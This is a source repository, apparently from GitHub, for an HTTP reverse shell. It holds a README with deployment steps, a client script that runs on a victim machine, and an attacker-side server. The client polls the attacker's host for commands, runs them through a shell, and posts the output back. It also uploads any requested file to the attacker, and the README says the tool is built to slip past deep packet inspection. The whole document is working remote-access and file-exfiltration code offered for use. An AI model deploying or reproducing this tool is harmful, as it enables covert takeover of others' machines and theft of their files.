├── README.md ├── client.py └── server.py /README.md: -------------------------------------------------------------------------------- 1 | # HTTP-Reverse-Shell 2 | 3 | ![https://img.shields.io/github/stars/apurvsinghgautam/HTTP-Reverse-Shell](https://img.shields.io/github/stars/apurvsinghgautam/HTTP-Reverse-Shell) ![https://img.shields.io/github/forks/apurvsinghgautam/HTTP-Reverse-Shell](https://img.shields.io/github/forks/apurvsinghgautam/HTTP-Reverse-Shell) 4 | 5 | A reverse shell over HTTP (dodges deep packet inspection). Using Python 3 and no external dependencies needed. 6 | 7 | # Prerequisites 8 | - Python 3 (on both the attacker and the target machine 9 | 10 | # Usage 11 | 1. Change `ATTACKER_IP` to the actual IP of the attacker on `client.py` 12 | 2. Change `ATTACKER_PORT` on both `client.py` and `server.py` (or you can just use the default) 13 | 3. Transfer `client.py` to the target machine 14 | 4. Run `server.py` on the attacker machine 15 | ``` 16 | python3 server.py 17 | ``` 18 | 5. Run `client.py` on the target machine 19 | ``` 20 | python3 client.py 21 | ``` 22 | 6. Connection will be established 23 | -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | #Client ---> runs on target 2 | 3 | from urllib import request, parse 4 | import subprocess 5 | import time 6 | import os 7 | 8 | ATTACKER_IP = '127.0.0.1' # change this to the attacker's IP address 9 | ATTACKER_PORT = 8080 10 | 11 | # Data is a dict 12 | def send_post(data, url=f'http://{ATTACKER_IP}:{ATTACKER_PORT}'): 13 | data = {"rfile": data} 14 | data = parse.urlencode(data).encode() 15 | req = request.Request(url, data=data) 16 | request.urlopen(req) # send request 17 | 18 | 19 | def send_file(command): 20 | try: 21 | grab, path = command.strip().split(' ') 22 | except ValueError: 23 | send_post("[-] Invalid grab command (maybe multiple spaces)") 24 | return 25 | 26 | if not os.path.exists(path): 27 | send_post("[-] Not able to find the file") 28 | return 29 | 30 | store_url = f'http://{ATTACKER_IP}:{ATTACKER_PORT}/store' # Posts to /store 31 | with open(path, 'rb') as fp: 32 | send_post(fp.read(), url=store_url) 33 | 34 | 35 | def run_command(command): 36 | CMD = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 37 | send_post(CMD.stdout.read()) 38 | send_post(CMD.stderr.read()) 39 | 40 | 41 | while True: 42 | command = request.urlopen(f"http://{ATTACKER_IP}:{ATTACKER_PORT}").read().decode() 43 | 44 | if 'terminate' in command: 45 | break 46 | 47 | # Send file 48 | if 'grab' in command: 49 | send_file(command) 50 | continue 51 | 52 | run_command(command) 53 | time.sleep(1) 54 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #Server ----> runs on the attacker's machine 2 | 3 | from http.server import BaseHTTPRequestHandler, HTTPServer 4 | from urllib.parse import parse_qs 5 | import os,cgi 6 | 7 | HTTP_STATUS_OK = 200 8 | 9 | # IP and port the HTTP server listens on (will be queried by client.py) 10 | ATTACKER_IP = '0.0.0.0' 11 | ATTACKER_PORT = 8080 12 | 13 | class MyHandler(BaseHTTPRequestHandler): 14 | 15 | # Don't print: 127.0.0.1 - - [22/Jun/2021 21:29:43] "POST / HTTP/1.1" 200 16 | def log_message(self, format, *args): 17 | pass 18 | 19 | def save_file(self, length): 20 | data = parse_qs(self.rfile.read(length).decode()) 21 | with open('/tmp/downloaded_file','wb') as output_file: 22 | output_file.write(data["rfile"][0].encode()) 23 | print("File saved as /tmp/downloaded_file") 24 | 25 | # Send command to client (on Target) 26 | def do_GET(self): 27 | command = input("Shell> ") 28 | self.send_response(HTTP_STATUS_OK) 29 | self.send_header("Content-type", "text/html") 30 | self.end_headers() 31 | self.wfile.write(command.encode()) 32 | 33 | def do_POST(self): 34 | length = int(self.headers['Content-Length']) 35 | self.send_response(200) 36 | self.end_headers() 37 | 38 | if self.path == '/store': 39 | try: 40 | self.save_file(length) 41 | except Exception as e: 42 | print(e) 43 | finally: 44 | return 45 | 46 | data = parse_qs(self.rfile.read(length).decode()) 47 | if "rfile" in data: 48 | print(data["rfile"][0]) 49 | 50 | 51 | if __name__ == '__main__': 52 | myServer = HTTPServer((ATTACKER_IP, ATTACKER_PORT), MyHandler) 53 | 54 | try: 55 | print(f'[*] Server started on {ATTACKER_IP}:{ATTACKER_PORT}') 56 | myServer.serve_forever() 57 | except KeyboardInterrupt: 58 | print('[!] Server is terminated') 59 | myServer.server_close() 60 | --------------------------------------------------------------------------------